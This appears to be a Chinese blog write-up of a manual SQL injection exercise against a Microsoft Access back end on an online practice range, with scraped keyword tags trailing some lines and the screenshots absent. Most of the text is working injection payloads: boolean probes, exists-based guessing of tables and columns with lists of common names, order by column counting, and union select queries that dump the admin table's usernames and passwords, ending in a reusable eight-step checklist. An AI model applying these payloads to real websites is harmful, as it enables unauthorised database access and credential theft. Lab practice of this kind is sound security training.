今天进行了access手工注入,下面是个人实战过程和总结。数据库
实战环境使用的是墨者学院的在线靶场。下面我们直接进入主题。spa
第一步,判断注入点3d
经过‘ 或者 and 1=1 和 and 1=2 是否报错,以下图。blog
接下来我们输入 and 1=2 发现报错了,说明存在注入点。以下图。图片
第二步,猜数据库表名io
在access数据库中,打开里面直接就是表,因此咱们只能猜表名,经过这条语句 and exists (select * from 表名)常见的一些表名为 admins users administrator,admin,admins,admin_user,admin_usr,admin_msg,admin_login,user,username,manager,msg_user,msg_login,useradmin等。经过猜想,咱们查到 存在admin这个表,这里用到的原理是,若是存在正常显示,不存在就报错,以下图。原理
第三步,猜想表里有几个字段select
经过order by 语句,小于输出的数字正常显示,大于输出的数字报错。咱们猜出为四个字段。以下图。nio
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。分割线。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。密码
第四步,猜想字段
经过这条语句 and exists (select 字段 from admin)常见的字段有 username password pass passwd user_name 等
若是对方的数据库字段较多,我们又猜不出来,而且有回显位置,能够尝试偏移注入。这里经过直接猜想就猜出来了,以下图。
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。分割线。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
根据图片的内容咱们,咱们猜想出的两个字段为,username ,passwd ,根据字段名字咱们就知道里面存放的为帐号和密码。
第五步,联合查询爆出帐号和密码
经过这条语句 union select 1,2,3,4 from admin 咱们知道了,2,3,这两个位置回显到页面上,这就是咱们须要的。以下图。
接下来,咱们把以前查找出来的 字段 替换到2,3 两个位置,语句为 union select 1,username,passwd,4 from admin 结果为下图,爆出了帐号密码。
access 手工注入总结
一、 先判断有没有注入点
二、 参数后面加 and exists(select*from admin) 猜表名 返回正常页面表示存在(admin)
三、 参数后面加 and exists(select username from admin)猜(admin)表中是否存在列名(username) 返回正常页面表示存在
四、 参数后面加 and exists(select passwd from admin)猜(admin)表中是否存在列名(passwd) 返回正常页面表示存在
五、 判断字段数 参数后面加 order by 4 (判断字段数为4)
六、 判断回显 参数后面加 union select 1,2,3,4 from admin
七、 爆出列名的信息 参数后面加 union select 1,username,passwd,4 from admin
八、获取到帐号密码,手工注入结束。